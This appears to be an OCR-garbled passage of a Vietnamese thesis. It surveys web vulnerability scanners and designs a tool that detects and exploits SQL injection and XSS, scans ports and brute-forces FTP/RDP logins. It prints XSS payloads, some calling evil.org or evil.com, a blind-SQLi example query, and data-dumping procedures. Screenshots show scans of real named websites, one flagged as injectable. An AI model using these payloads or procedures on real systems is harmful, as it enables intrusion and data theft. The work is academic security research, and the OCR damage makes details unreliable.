nang mot URL c6 16 hong an ninh. Yéu té tin cay chi ra, s6 lan xuat hién cua
chudi tir khda tra vé trong céc trang phan hoi. Gia tri tuyét dbi cua yéu to tin cay
khdng quan trong, chi can quan tam ti Ié twong d6i cua chung. Ti 1é d6 dua trén
qué trinh phan tich cac trang phan hdi caa cac sites ¢d 16 hdng an ninh. Néu mot
chudi tir khda xuat hién mot sé 1an trong mét trang phan héi, do tin cay co thé

tang theo s6 1an xuat hién. D¢ tin cay dugc miéu ta bang biéu thuc:
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T
oo =32
Cp,sum = 12
k=1

Trong d6: “P 1a do tin cay cua chudi tir khéa p; n 1a s6 1an xuét hién caa chudi p;
Cp.sum |3 46 tin cay sau tit ca cac 1an xuat hién. Vi thé, 1an xuét hién dau tién 1a

d6 tin cay muac cao; 1an tha 2 *1/4; 1an tha 3 *1/9...
- Kiém tra 16 héng XSS: Thuc hién kiém tra véi 3 dang 16 hdng XSS:
+ Simple: chén doan ma: <script>alert(‘XSS’)</script>
+ Encoding: bypass loc cac ky tu metadata bang cach chén doan ma:
&#60,; ScRiPt &#62; alert &#40; " XSS '&#41; &#60,;/ ScRiPt &#62;

+ Form Redirection: chuyén huéng dén mot website doc hai: <IMG SRC
=JaVaScRiPt :document .forms [2]. action = &quot;http  ://

evil.org/evil.cgi&quot;>

* Qud trinh tan cong: Qua trinh tan cong dugc mo ta trong Hinh 5.

Gul __— Database Manager ~——» J

Tridoer Database
‘ - 5 Finished Task 1
- -
Workflow Controller f+- l Thread Controller —Lﬂ;"‘_‘“‘}—’ Whsttee Mxesd
\ A —
“. Altacking Task Worker Thread
yem—— Queue Controlier 1
| Attacking Task | Attack Plugin
3 Worker Thread
/
Attacking Task -
Analysis Module
l Attacking Quoue L

Hinh 5: M0 hinh khai thdc SOLi cua Secubat
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Secubat c6 thé chay 15-20 tién trinh song song trén may tinh thong thuong.
Trong qué trinh tdn cong, cong cu st dung hang doi queue controller dé luu cac
URL thu thap dugc, sau d6 s& chuyén URL dén luot thuc hién cho thread
controller. thread controller s& chon worker thread ranh rdi dé thuc hién khai thac.
Sau khi hoan thanh s& thong bao workflow controller luu cac két qua vao
CSDL[10].

Nhdn xét:

- Un diém: Secubat tu dong phat hién va khai thac 16 hong SQLI, XSS, dé
dang st dung.

- Han ché: 1a phan mém cii (tr nim 2006), thuat toan phat hién 156 hong
SQLi dya trén bo tir khoa va sé l1an xuat hién tir khoa s& khong phu hop véi nhiéu
dang 15i mai cua SQLI; thuat toan kiém tra 15 hong an ninh XSS chi méi thuc
hién v&i 03 dang co ban. Ngoai ra, khong duoc bo sung thém tinh ning mai nhu
quét cong, thiét 1ap proxy, giai ma mat khau...

2.2.2. Acunetix Web Vulnerability Scanner

La phan mém tu dong kiém tra 16 hong an ninh tng dung web nhu: SQLI,
XSS va céc 16 hong khéac.

Mot s tinh ning ciia Acunetix:

- Kiém tra 15 hong an ninh SQL.i va XSS;

- Kha nang quét AJAX va Web 2.0;

- Tu dong nhan dién va nhap théng tin vao Web Form;

- Lap lich, quét nhiéu website cing ldc;

- Pua ra canh bao va cach thuc phong tranh;

- H6 trg Google Hacking Database (GHDB);

- Ty dong xac dinh 16i trang Custom 404 Error Page;
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- Tuong tac Web Application Firewall;

- Quét cong: Kiém tra cac cong ma, dich vu mang chay trén cong do.

Nhdn xét:

- Uu diém: C6 kha ning kiém tra nhiéu dang 15 hong an ninh, dic biét Ia
SQLi va XSS.

- Han ché: La phan mém thuong mai (ban 1 nim khoang 13 triéu dong,
ban update v han c6 gia 133 triéu dong), chi yéu tap trung phan phat hién 15
hong an ninh va dua ra canh bao; viéc khai thac 16 hong an ninh khong duoc chd
trong va kho st dung.

2.2.3. SQLMap

La phan mém ma ngudn mé dung dé phat hién va khai thac 16 héng SQL.
Pay 1a mot trong nhiing cong cu khai thac 16 hong SQLI tét nhat hién nay, co rat
nhiéu chic ning cho viéc tu dong cac qua trinh phat hién va khai thac
(firgerprinting CSDL, truy cap file hé théng, thuc hién lénh...). Pé s dung
chuong trinh nguoi dung can nhap duong dan can kiém tra, cac théng sé muén
kiém tra, cong cu s& tu dong thuc hién phat hién va khai thac 16 héng SQL.

Céc tinh ning cu thé cia SQLMap gom:

- Hb tro cac hé quan tri CSDL: MySQL, Oracle, Postgre SQL, Microsoft

SQL Server, Microsoft Access, IBM DB2, SQL.ite, FireBird, Sybase va SAP
MaxDB;

- Thuc hién 06 k§ thuat khai thac 16 hdng SQLi: boolean-based blind, time-
based blind, error-based, UNION query, stacked queries, out-of-band.

- Hb tro két ndi tryuc tiép dén database bang cach cung cip chimg thu DB,
dia chi IP, cong, tén DB;

- Thu thap thdng tin users, ma hash cua mat khau, phan quyén, tén DB,

bang, cot...
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- Phét hién dang ma caa mat khau, hd trg crack mat khau st dung tan céng
dya vao tur dién;
- Hb trg dump céac bang trong CSDL;

- Ho tro upload va download file 1&én may cha CSDL véi cac CSDL
MySQL, PostgreSQL, Microsoft SQL May chu;

- Thyc hién Iénh cua hé diéu hanh may chu CSDL;

- Thuc hién két ni TCP giira may tin tic va may chu CSDL;

- Chiém quyén nguoi dung thong qua Metasploit’s Meterpreter.

- C6 thé tich hop véi cac ma ngudn mé khac nhu: metasploit, w3af.

Nhan xét:

- Uu diém: SQLMap la phan mém ma nguon mé, c6 kha nang khai thac t6t
véi nhiéu dang 16 hong SQL.

- Han ché: SQLMap chi kiém tra 156 hong SQLi; Pé st dung cong cu can
cung cap céc tham sb dau vao dé khai thac nén kho khan trong viéc sir dung.

2.2.4. Burpsuite

La phan mém tan cong ung dung web, cho phép tin tic tich hop nhiéu thao
tac bang tay hoic tu dong dé phan tich va khai thac céc 16 hong an ninh trén ang
dung Web. Cac tinh ning ctia Burpsuite gom:

- May chu Proxy: danh chan tat ca tat ca cac HTTP Request dugc gui dén
cac ung dung Web;

- Repeater: gitp nguoi ding co thé tuy thay doi va phat lai cac yéu cau
HTTP khac nhau giri téi may cha, phan tich cac phan héi tir phia may chu khi gui
cac yéu cau khac nhau;

- Web spider: ty dong duyét web dé xac dinh cau tric cia mot website;
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- Decoder: hd tro ma hoa hoac giai ma cac thuat toan ma hoa MD5, SHA-
1, SHA-256, SHA512;

- Comparer: so sanh cac géi tin khac nhau (theo dang word hoac byte);
- Phan tich 16 hong tng dung Web: nguoi ding ¢d thé tai nhiéu payloads dé
kiém tha tan cong SQLi hodc XSS tir mot file va sira ddi cac tham sd, gui cac

payloads d6 dén cac tng dung web.

Recon and analysis .
s "
Intercepting
g proxy
passive .
spidering active .
spidering Sphder
W Content
discovery discovery
attack surface
passive Vulnerability detection !
scanning and exploitation
confirm some
vulnerabilities
in browser
Token
‘ sScanner ‘ Repeater I ‘ Fuzzer ‘ analyzer I
\ ¥ /
e Vulnerabilities I

Hinh 6: M6 hinh hoat dong Burp Suite

M6 hinh hoat dong Burp Suite dugc mé ta trong Hinh 6, gom 2 giai doan:

- Crawling: thanh phan "proxy history" luu trit toan b request va phan hdi
tir may chu; "site map" luu toan bo duong dan thu muc cua muyc tiéu. Cac chic
nang "Spider” va "Content discovery" 1y noi dung bai viét.

- Phét hién va khai thac 15 hong an ninh: tir cac thong tin thu thap duoc tir
giai doan mot, sir dung c4c chirc nang phu hop dé tim kiém va khai thac 16 hong

an ninh. Sir dung thanh phan "“fuzzing" dé tim kiém céac 15 hong dya dau vao va
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gui dén cong cu khai thac lay cac thdng tin nhay cam; st dung céc cdng cu do
quét 15 hdng an ninh dé ty dong do quét 15 hong thdng dung; "Token analyzer™ dé
kiém tra cac thudc tinh cua phién cookies va thudc tinh khac; sir dung "request
repeater" dé thay do6i yéu cau va gui lai 18n may chu.

Nhdn xét:

- Uu diém: Burpsuite hd trg nhiéu tinh nang cho qua trinh kiém tra 16 hong
an ninh ing dung web, dac biét 1a tinh nang "May chu Proxy™ cho phép chinh stra
yéu cau truéc khi giri dén may chu hoic xem két qua phan hoi trudc khi guri
dén nguoi ding.

- Han ché: 1a phan mém mat phi, kho khan trong viéc sir dung.

2.2.5. Havij

Pay 1a phan mém tuy dong phat hién va khai thac 16 hong SQLI, giai ma
mat khau, tim duong din ding nhap, thuc hién cac cau lénh SQL tan céng may
chu ctia nan nhan, tham chi truy cap vao cé4c tap tin quan trong caa hé théng va
thuc hién cac Iénh tuong tac voi hé didu hanh. Havij c6 thé khai thac thanh cong
95% website ¢6 16i SQLi. Ngoai ra, Havij co giao dién than thién, tu dong thuc
hién tan céng, dé sir dung hon nhiéu so véi cong cu SQL Map.

Nhén xét:

- Uu diém: Havij c6 kha nang phat hién va khai thac tét vai 16 hong an
ninh SQLi. Qua trinh kiém tra 16 hong SQLi duoc tién hanh tu dong, giao dién
than dién dé dang sir dung.

- Han ché: La phan mém thuong mai mét phi, chi thuc hién kiém tra 15
hong SQLi; khdng thuc hién thu thap dir liéu do d6 phai cung cap URL can kiém
tra; khdng hd tro 1ap lich khai thac song song nhiéu muc tiéu cling ldc.
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2.2.6. Nessus

La mot phan mém quét 16 hong hé thong nhu: 16 hdng cho phép tin tic c6
thé kiém sodt hoac truy cap cac di liéu nhay cam tir xa, 15i cau hinh, 18i sir dung
mat khau mac dinh, sir dung mat khau dung chung, mat khau trang, don gian trén
mot sb tai khoan cua hé théng. .. Ngoai ra, nessus ciing ¢ thé goi mot phan mém
bén ngoai, chang han nhu Hydra dé khoi chay mot cudc tin cdng doan mat khau.

Nhdn xét:

- U diém: Nessus c6 kha nang kiém tra 16 hong an ninh hé thong tét.

- Han ché: Mat phi, khai thac 15 hong tng dung web con han ché.

Nhin chung cac phan mém déu c6 wu nhuoc diém riéng, tly muc dich, yéu

cau caa nguoi st dung ma lua chon cac phan mém phu hop.
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CHUONG IIl. XAY DUNG PHAN MEM PHAN TICH TU PONG
WEBSITE PHAT HIEN VA KHAI THAC LO HONG SQLI VA XSS

3.1. M6 hinh kién tric hé théng

Website

Crawler

URL List

N

kscript>alert(123); </script>
<ScRipT>alert("Xss"); </ScRipT>
<scriptralert(123)</script> .
SQL Emor <:;<rip(.~a}cr( "hengx wor 1dss"); </script> Analysis
” <scripr>alert(“xss")</script> =
Server Based <script>alert(“xss"); </script>
<scripr>alert(“Xss’)</script>
“><script>alert(“xss")</script>
<script>alert(/Xss")</script>
<script>alert (/XSs/)</script>

Phathién, phanloai SQLi

XSS Pavloads
v Y
http://bank.com?pl="> <img src=x
onerror= http://evil.com/attack.js> Attack
Khaithac Database e 8

h 4

Hinh 7: M6 hinh kién tric hé thong

Nham khac phuc nhiing nhugce diém va tich hop nhiing tinh ning cua
nhitng phan mém do quét 16 hong an ninh web hién thoi, hd trg dac luc cho qua
trinh kiém tra 16 hong an ninh ung dung web, luan vin lya chon xay dyung phan

mém tam goi tén 14 TH-Scanner.

M® hinh kién tric hé thong dugc mé ta nhu Hinh 8, theo d6, TH-Scanner gom 03
thanh phan: crawling, analysis, attack, dya trén co sé phan mém Secubat nhung
d3 cai tién dé phl hop hon véi sy phat trién nhanh chong cua cac 16 hong an ninh

hién thoi, dong thoi bo sung thém cac tinh ning ma cac phan mém quét hién tai
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dang tich hop. Di véi viéc phat hién 16 hong an ninh SQLI, phan mém khong st
dung tir khoa nhu Secubat ma xay dung CSDL cac théng bao phan héi tir may
cha dé phan tich xac dinh 18i. Véi 16 hong XSS, phan mém bé sung thém nhiéu
payload dé phat hién va khai thac cha khdng chi c6 03 dang nhu Secubat. Ngoai
ra, phan mém con tich hop nhiéu tinh ning khac nhu: thu thap dir liéu gidng
Secubat, Acunetix; tu dong phét hién va khai thac 156 hong an ninh nhu Havij;
quét cong, tim kiém file nhay cam nhu Acunetix, Burp Suite; khai thac nhiéu
dang SQLi nhu SQL Map; thiét 1ap proxy nhu Acunetix, Burp Suite. Phan mém
con bd sung thém cac tinh ning ma cac phan mém khac khong c6 nhu Brute force

mat khau tai khoan FTP va RDP.

3.2. So' @6 phan ra chirc ning

TH-Scanner
h 4
P - . - - D6 quét file nhay cam, o Thiét Iap
Phat hien, khai thac SQLi ‘ | Phat hién, khai thac X55 | dwdng d%nlogin | Quet cong Brute Force Proxy
o [ 4 4 wahai o e P Brute Force
» Do quét 1 website »| D0 quet 1 website 131 khoan
FTP
Db quét nhiduy D quét nhigu
website website
' vebsite Brute Force
tai khoan
ROP
D& quét nhidu URL |3 D& quétnhidu URL

Hinh 8: So d6 phdn rd chirc nang hé thong
Phan mém TH-Scanner gom 06 mo-dun chinh:
- M06-dun phat hién, khai thac SQL.i thyuc hién cac chirc nang chinh sau: (1)
phat hién, xac dinh 13i SQLi va thuc hién khai thac 16 héng SQLi trén mot
website; (2) phat hién va khai thac 16 héng SQLi vai nhiéu website thuc hién

song song:; (3) phat hién va khai thac 16i SQLi véi nhiéu URL.
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- Md-dun phat hién, khai thac XSS gom céc chirc nang chinh: (1) do quét,
phat hién mot website ¢ dinh 16i véi mot payload cua XSS, thuc hién khai thac
16 hdng XSS véi tat ca payload cd trong CSDL; (2) thuc hién phat hién va khai
thac 16i XSS véi dong thoi nhiéu website; (3) thuc hién phét hién va khai thac
XSS véi déng thoi nhiéu URL.

- Md-dun do quét file nhay cam, dudng dan login gom cac chiic ning sau:
(1) do quét tat ca cac file nhay cam caa mot website ma ngudi quan tri dé 16 do
cau hinh khong tot; (2) tim duong dan dang nhap cua website.

- Mé-dun quét cong: xac dinh cac cong md cua mot dia chi IP cta may
chu, c6 thé kiém tra tat ca cac cong hodc chi kiém tra trén danh sach cac cong
thong thuong hay dugc sur dung.

- Md-dun brute-force tai khoan gdm cac chic ning chinh: thuc hién doan

tai khoan dang nhap céc dich vu FTP va RDP cua danh sach cac dia chi may chu.

- Md-dun thiét 1ap Proxy: cai dat proxy server hoic tich hgp véi phan mém
Ultrasurf dé thay doi dija chi IP.

3.3. So' d6 hoat dong

Thiét lap proxy

W

Y

Dump URL Tim file nhay cam Quétcdng

,L J, ¥
Kiem tra [oi Kiém tra mét Download
S0L Injection payload XSS

¥
Phan loai 16i T pyp— - - ——
SQL Injection K'”ml fra tf.t ca payload Brute force tai khoan Brute force tai khoan

URL co l0i X55 FTP RDP

¥ ¥
Khai thac 18i Khai thac 18i
SAL Injection X585

Hinh 9: So do hoat dong hé tho”'ng
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Budc 1: Nguoi str dung thiét 1ap proxy thuc hién an danh (néu can).

Budgc 2: Thu thap thdng tin vé cau trac trang web (URL cha), lay tat ca
URL cip dudi (URL con) caa URL cha (d6 sau cia URL con la tiy chinh).

2.1: Thuc hién kiém tra véi cac URL con:

2.1.1: Kiém tra URL con ¢d bi dinh 15 hdng SQLi hay khéng bing cach
thém cac ky tu dic biét sau tham sb dau vao.

2.1.2: Néu URL con ton tai 16 hdng, thuc hién phan loai 156 hong SQLi
bang cach kiém tra cac thong béo tra vé tir phia may chi.

2.1.3: Thuc hién khai thac 16 héng SQLI vai ting loai 16 hong SQLI da
xac dinh dugc o trén.

2.2: Tim tat ca céc file nhay cam c6 thé c6 cia URL cha do nguoi quan tri
dé 16 bang cach kiém tra cac duong dan file nhay cam c6 ton tai hay khong.

2.3: Xac dinh dia chi IP cua webmay chi cia URL, thuc hién quét cong
mé ctia may chu d6. Néu may chu mé cac cong 20, 21, 3389 thyc hién brute force
tai khoan cac dich vu FTP, RDP.
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3.4. Cac thuit toan chinh

3.4.1. Thuat toan dum URL

Khori tao ds ScanURLS;
Thém url gic vao ScanURLS:
h= 1:
|

k<=s0 url tromg ScanURLS =
* B
Trich xuat cac url {(ds CurrentiJRLsS)
trén trang ScanURLsSs[K]

Loai o cac url ka durdng dan Tile (.doc,
pdf, o png.. ) tfrong CurrentUURLs

Loail bo cac url tromng CurrentURLs
Khdng thudc camg tEn miien wori url goc

Chuyemn cac url damg rdat gom Tromg
CurrentURLs thanh url day

Kiem tra o hong SQLi, 2SS wori tdrmg
wurl trong CurrentUURLs

Gan ds CurrentURLs vao ds
ScanURLs: loc bo cac url trdang

k=k-+1;

I h=th+1; l=

Hinh 10: So' d6 thudt todn dump URL

Thuat toan dump URL (thu thap thong tin vé cau trdc trang web) duoc mo
ta gom 03 budc chinh (Hinh 10):

Buac 1: Nhap URL géc, nhap s cap can quét k.

Budc 2: Gan cap quét h=1.

Budgc 3: Thuc hién vong lip, trong khi s6 cip quét con nho hon k, thyuc
hién cac budc sau: Lay URL cép duéi trong page source cia URL gbc. Tiép tuc
thém cac URL cip dudi vao danh sach ScanURL. Loai bo cac URL la dudng dan
cac file (.doc, .pdf, .png ...), loai bo cac URL khéng ciing tén mién véi URL géc,
chuyén cac URL dang rdt gon thanh URL day du. Tang cap quét 1én 1.
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3.4.2. Thuit toan phat hién 16 hong SQLi

Mhap Url can kKiégm tra

-

Khéﬁi_sinh ds DS_KyTukiermTraloi;
Khoi sinh ds DS_ThongBaolLoi;
h= 1;

]

h=<=sd K¥ tw trong DS_KyTukKiemTraLoi

TempUri=Url can Kiédm tra + DS_KyTuKiemTraLoi[h] |

Tr;arlg TempUrl chira chudi
I3i trong DS_ThongBaoloi

| Phan loai 16 SCli |

Hinh 11: So d6 thudt todn phdt hién 16 hong SQLI
Thuat toan phét hién 156 hong SQLi gdm 03 buéc chinh (Hinh 11):

Budc 1: Nhap URL can kiém tra.

Budgc 2: Khoi tao danh sach cac ky tu tiém vao URL dé kiém tra 13i, danh
sach céc 18i ¢o thé phat sinh khi thyuc hién request.

Budc 3: Thi lan luot céc ky tu trong danh sach cac ky tu kiém tra I5i.

Budc 3.1: Gui yéu cau Ién web may chu véi URL = URL can kiém tra
cung vai ky tu tiém vao.

Budc 3.2: Kiém tra phan hdi tir may chi.

Budc 3.2.1: Néu c6 thdng bao gidng trong danh sach théng bao 15i, phan
loai 16i va dung lai.

Budc 3.2.2: Néu khong c6 théng béo trong danh sach théng bao 15i, tiép
tuc thir véi cac ky tu kiém tra 15i con lai cho dén khi thar hét cac ky tu d6. Néu
van khong cé théng bao 16i co nghia 1a URL trén khong c6 16 hong SQL.
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3.4.3. Thuit toan phat hién 16 hong XSS

Mhap Url can Kiém 19/

Khori sinh ds X585 Payloads;
h=1;

e

h<=sd{ paylocad trong XSS5 Payloads P

B

| TempUri=Page Source{Url can Kiém tra + |
X585 Pavicads[hll

Trang TempUr] chira payload
XSS _Payload[h]

LSi XSS

Hinh 7: Thudt todn phat hién 16 hong XSS
Thuat toan phét hién 156 hong XSS (Hinh 12), gém 03 budc chinh:

Budc 1: Nhap URL can kiém tra.

Budc 2: Khai tao danh sach cac payload dé khai thac XSS.

Budc 3: Thi lan luot céc payload i

Budc 3.1: Guri yéu cau lén webmay chu véi URL=URL can kiém tra +
payload i;

Budc 3.2: Kiém tra ma nguon (pagesource) cia trang web phan hoi:

Budc 3.2.1: Néu pagesource trang phan hdi c6 chaa payload i, xac dinh 1a
c6 16i XSS va dung lai.

Budc 3.2.2: Néu pagesource trang phan hoi khéng chaa payload i tiép tuc
thir v6i cac payload con lai trong danh sach. Néu thir hét tat ca payload ma khéng
phéat hién, xac dinh URL khong c6 15i XSS.
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3.4.4. Thuat toan khai thac 16 hong SQL

ﬂh{]p Url can kiém tra/

Phan tich 16i

A 4

Lay cor sd° dif liéu

v

Lay cac bang

L

Lay cac cit

Lay diF ligu

Hinh 8: Thudt todn khai théc 16 hong SQLI
Thuat toan khai thac 16 hong SQLi (Hinh 13 ), gdm 06 budc chinh:

Budc 1: Nhap URL can kiém tra.

Budéc 2: Phan tich 16i SQLi: phan loai CSDL, cach thirc bypass.
Budc 3: Ly toan bo CSDL.

Budc 4: Ly tén céc bang.

Budc 5: LAy tén c4c cot caa ting bang.

Budc 6: Lay di liéu caa ting bang.
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3.4.5. Thuat toan khai thac Blind SQLi

6 bang tableNum;
Ehé sinh danh sach DS tableName;

=0
¥
=0

tablenarﬁe="";
Ba daitén bang tableLen;
¥

j=lenTakble

B

=0
char c=x:XaX:xaXsXeX(7 bit)

Hacdimhx=0hoicx=1
!

c=converttoDecimallx. X% xaxexax- )
v

tableMame+=c

v

L—— DS tableName Add{tablsMName)

Hinh 9: Thudt todn khai thac Blind SOLi ldy tén cdc bdang

Budc 1: Nhap so luong cac bang, khai sinh danh séch tén céc bang.

Budc 2: Nhap d6 dai tén bang, khai sinh tén bang tableName.

Budc 3: Khai tao ky ty dau tién caa tén bang can tim 1a c.

Budc 4: Thyc hién 07 yéu cau Ién may chi dé kiém tra gia tri 07 bit =0 (1).
Budc 5: Doi tir bit sang Decimal tim gia tri ASCII cua ky tu c.

Buac 6: Gan tableName = tableName + ky tu c.

Budc 7: Thém tableName vao danh sach tén cac bang.
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* Thudt toan khai thac Blind SQLi da dwoc téi wu héa bang cach si
dung ky thugt dich bit [21].

Vi du mudn tim mét chir cai dau tién cua tén Database:

Véi k¥ thuét tim kiém tuan tu

http://www.site.com/index.php?id=1 and ascii(substring(database(),1,1))= i-- -
i thude [1;128]

Do phtc tap thuat toan tim kiém thong thuong 1a: O(n).Vay vai thuat toan
tim kiém tuan tu ta phai thuc hién 128 phép toén.

Ky thuat tim kiém nhi phan: mot vi du thuat toan tim kiém nhi phan nhu
Hinh 36.

o
b
ro
(€8 )
o

56 78 9 1011121314 X

214|5|7|8|9|12|14|17|19|22|25]27(28|33

2|4 |5|7|8|9 |12 171191222527 |28 |33
2|14|5 89|12 17 (18|22 27128 |33
2 5 8 12 17 2 27 33

Hinh 15: Vi du thudt todn tim kiém nhi phdn
Do phuc tap thuat toan tim kiém nhi phan la: O(log2(n)).

Véi 128 ky tu thuc hién 7 buédc, tuy nhién, phai thuc hién tuan tu 7 yéu
cau. Vi két qua yéu cau trudc sé quyét dinh noi dung cua yéu cau tiép theo.

Ky thuat dich bit

Ky tw Ma ASCII M3 nhi phan
A 6 1000001

L

Hinh 16: Vi du chuyén doi ma ASCII va md nhi phdn cia ky tie
Str dung k§ thuat dich bit cho phép lay ra gia tri tirng bit caa ky tu. Véi mdi
ky tu ldc nay chi 14 0 hodc 1, nén chi can 1 yéu cau dé xac dinh bit d6. Vi 7 bit
s& can 7 yéu cau dé xac dinh dung chinh xac ky tu. Do d6, thuat toan dich bit chi
thuc hién 7 budc. So véi phuong phap tim kiém nhi phan, phuong phép dich bit
c¢6 uwu diém cho phép thuc hién 7 yéu cau khong tuan tu, c6 thé thuc hién doc lap
véi nhau, c6 thé thuc hién song song cac yéu cau ma khong anh hudong két qua



http://ww.site.com/index.aspx?id=1
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tim kiém. Tuy nhién, nhugc diém cua phuong phap nay 1a ludn can 7 yéu cau dé
ldy dugc mot ky tu.

3.4.6. Thuat toan khai thac 16 hong XSS

ﬁhép Url can kiém tra/

Khoi sinh ds X55_Payloads;
h=1;

h==50 payload trong X55_Payloads S

‘l,E}

| TempUrl=Url can kiém tra + X55_Payloads[h] |

-~

v

Trang TempUrl chira payload
X55_Payload[h]

Chay URL trén trinh duyét

h 4

Két thic

Hinh 10: Thudt todn khai thic 16 héng XSS

Hinh 17 mé ta thuat toan khai thac 16 hong XSS, gom 03 budc chinh:
Budc 1: Nhap URL can kiém tra.

Budc 2: Khai tao danh séch céc payload dé khai thac XSS.

Budc 3: Thi lan luot céc payload i

Budc 3.1: Kiém tra 18i XSS véi payload i

Budc 3.2: Néu URL c6 16i XSS tai payload i, khai thac bang cach chay
URL chén payload i trén trinh duyét.



3.4.7. Thuit toan quét cong

MNhdp dia chi IP; .
Mhap ds DS_Ports cac cong can qué

h<=sd& cdng trong DS Ports
L
+ 2
et ndi dén IP qua cong DS_Ports[h
N . That
Thanh cong bai
w

h=h+1 |

Hinh 18: Thudt todn quét cong
Thuat toan quét cong (Hinh 18) gom 02 budéc chinh:
Budc 1: Nhap IP cia may chu, danh sach cac cong can kiém tra.
Budc 2: Vi mbi cong i, thuc hién két ndi dén may chu qua cong i.
Budc 2.1: Néu két néi thanh cong, xac dinh 1a cong mo.

Budc 2.2: Néu két ndi that bai, xac dinh 1a cong déng.
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3.4.8. Thuét toan bruteforce tai khoian FTP

MNh&p dia chi IP;
Nhapds DS_TaiKhoanFTP

i‘_

==sd tai khodn trond
DS _TaiKhoanFTP

Dang nhap FTP voal tai khoan
DS_TaiKhocanFTP[Lh]

Hinh 19: Thudt todan bruteforce tai khoan FTP

Thuat toan quét cong (Hinh 19) gom 02 budéc chinh:

Budc 1: Nhap danh sach dia chi IP can kiém tra, bo tir dién cac tai khoan
dang nhap FTP.

Budc 2: V6i mdi dia chi IP, thir lan luot cac tai khoan FTP trong tir dién
dau vao.

Budéc 2.1: V6i moi tai khoan FTP, thuc hién diang nhap tai khoan FTP véi
dia chi IP.

Budc 2.1.1: Néu két néi thanh cong, thu duoc tai khoan dang nhap FTP.

Budc 2.1.2: Néu két ndi that bai, tiép tuc tht vai cac tai khoan con lai trong
bo tir dién FTP.

Vi thuat toan bruteforce tai khoan RDP, thuc hién tuong tu nhu thuat toan
bruteforce tai khoan FTP.
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3.5. Xay dung ciac mo-dun chirc ning
3.5.1. M6-dun dump URL

- Chirc nang: Lay tat ca cac URL con caa mot URL cha theo sé cap quét

dinh sén, loc ra cac URL tiém ning c6 kha nang bj 16i SQLi va XSS.

Bang 3.5.1 - Mét s6 ham co ban trong mo-dun dump URL

Tén ham

Chire nang

GetLink

L4y danh séach céc link cung cap dé lay link cap dudi

GetAllLink

LAy tat ca cac duong link tir cac link cung cép

%) TH-Scanner (Detect vulnerability) - Single scanner = [ =T ==
(:J = Scan - Exploit P’. Sawve result

Full URL http://vnexpress.net/

Deep-level: 2 Profile: SQLi HSS Sensitive url Login paae

Dump url: level 2 @ 8/106

Check error:

Total urls: 292 | potential urls | Result|

2 http:/fvnexpress.net/tin-tuc/the-gioi/cuocc-song-do-day/my-to-chuc-cuoc-thi-tim-giay-hoi-nhat-3562803.html -
2 http:/fvnexpress. Scuoc-song-do-day/cuu-binh-the-chien-ii-chuyen-gioci-thanh-phu-nu-o-tuoiI-90-25&
2 http:/fvnexpress. Strisu-tien-huy-thoa-thuan-malaysia-dua-thi-the-kim-jong-nam-tro-lai-benh-vien-:
2 http://fvnexpress. han- quoc phat hien-manh- xuong o-noi-truc-vot-pha-sewol-3562151.html

2 http:/fvnexpress.

2 http:/fvnexpress. ngan-can treo -soi toc noi tuyen Iua chong -i5- 3562520f|ndex html

2 http:/fvnexpress. Stu-lieu/mhung-vu-giet-nguoi-co-thong-diep-bi-an-tren-mang-35562303. html

2 http://fvnexpress. Sou-lisu/nhung-vu-bat-coc-be-gai-tai-nhat-ban-3562053.html

2 http:/fvnexpress. u-lieufsvi-sao-cha-me-nhat-yen-tam-de-tre-tu-di-bo-den-truong-256 17 20.html

2 http:/fvnexpress. Sphan-tichy/con-bao-nga-khuay-dao-nhiem-ky-tong-thong-trump-3562449_html

2 http:/fvnexpress. S phan-tichy/the-ket-cua-trump-trong-cuocc-noi-chien-dang-cong-hoa-32562010.html
2 http://fvnexpress. /ohan-tich/so-phan-cua-trump-sau-that-bai-truoc-obamacare-356188 1. html

2 http:/fvnexpress. Sphan-tich/mhung-van-de-gai-goc-tren-ban-nghi-su-trump-tap-3561338.html

2 http:/fvnexpress. ;’nguol wiet-5- chau;’hung—thu sat-hai-be-gai-viet-o-nhat-co-the-la-nguoi-dia- phuo
2 http:/fvnexpress. 't Snguoi-viet-5-chau/thanh-nien-viet-o-nhat-nghi-tu-sat-sau-khi-dam-chet-ban-gai-
2 http://fvnexpress. netftm ~-tuc/the-gioifanh

2 http:/fvnexpress.net/photo/qguan-su/nga-gan-ten-lua-phong-khong-luc-quan-len-tau-chien-Z562=11_.html

2 http:/fvnexpress.net/photo/quan-su/ben-trong-tau-san-bay-truc-thang-lon-mnhat-cua-nhat-256 187 3. html

2  http:/fvnexpress.net/photo/guan-sufgiay-phut-kho-vu-khi-ukraine-phat-no-khien-20-000-Nnguoi-so-tanN-35607 24 html
2 http://fvnexpress.net/tin-tuc/phap-luat/ke-sa-t-ha-i-nu-tai-xe-taxi-manag-thai-bi-bat-24499286 . html

2 http:/fvnexpress.net/tin-tuc/phap-luat/tu-vany/ban-co-biet-cach-cho-con-thua-ke-tai-san-ma-khong-gay-ti-nanh-256 1
2  http:/fvnexpress.net/ -tuc/phap-luat/doc-chisu-thao-dinh-vi-dat-vao-xe-khac-cua-ke-lua-thue-oto-tu-1ai-23562883 _ht
2  http:/fvnexpress.net/ —tuc,’phaD—Iuat,"tu—van,a’nhL.|ng—dieu—can—nho—neu—I(h0ng—rr1ucn—bi—cucp—tien—tai—cay—atm—35627] =
> .
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Hlnh 20: Giao dién mo-dun Dump URL

3.5.2. Mo-dun phat hién 16 hong SQL.i
- Chirc nang: Kiém tra tat ca URL trong danh sach tiém niang c6 15i SQLI

hay khong, néu cé thuc hién phan loai 15i

Bang 3.5.2 - Mét s6 ham co ban trong mo-dun phdt hién 16 hong SQLI

Tén ham

Chirc nang

CheckSqli

Thuc hién song song phét hién 15 hdng SQLi véi 1 URL

CheckSQLIi

Phét hién, phan loai 16i SQLi

GetDomainName | L4y tén domain cta website




o1

4 TH-5canner (Detect vulnerability) - Single scanner = | B |-

@ Scan i’-Eproit ""\ Save result
Full URL http:/fwww.icdcprague.org/findex.php?id=10

Deep-level: 2 : Profile: SqQLi XS5 Sensitive url Login page
Dump url: level 2 : 11/14
Check error: http://www.icdcprague.org/index.php?id=61id_gallery=20

Total urls: 82 | Potential urls (7) | Result |
SR SQLi urls (2)

http:/fwww.icdcprague.org/index.php?id=10 MySQL

. http://www.icdcprague.orgfindex_es.php?id=10 MySQL
+- XSS urls (2)

- Sensitive url

- Login page

Hinh 211: Giao dién mé-dun phdt hién 16 hong SQLI

3.5.3. M6-dun khai thac 16 hong SQLi
- Chirc nang:

+ Phan loai 16i SQLI, xac dinh Database;
+ L&y tén CSDL:

+ LAy tén tat ca cac bang trong CSDL;

+ LAy tén tat ca cac cot trong mot bang:
+ L4y toan bo thdng tin caa mot bang.

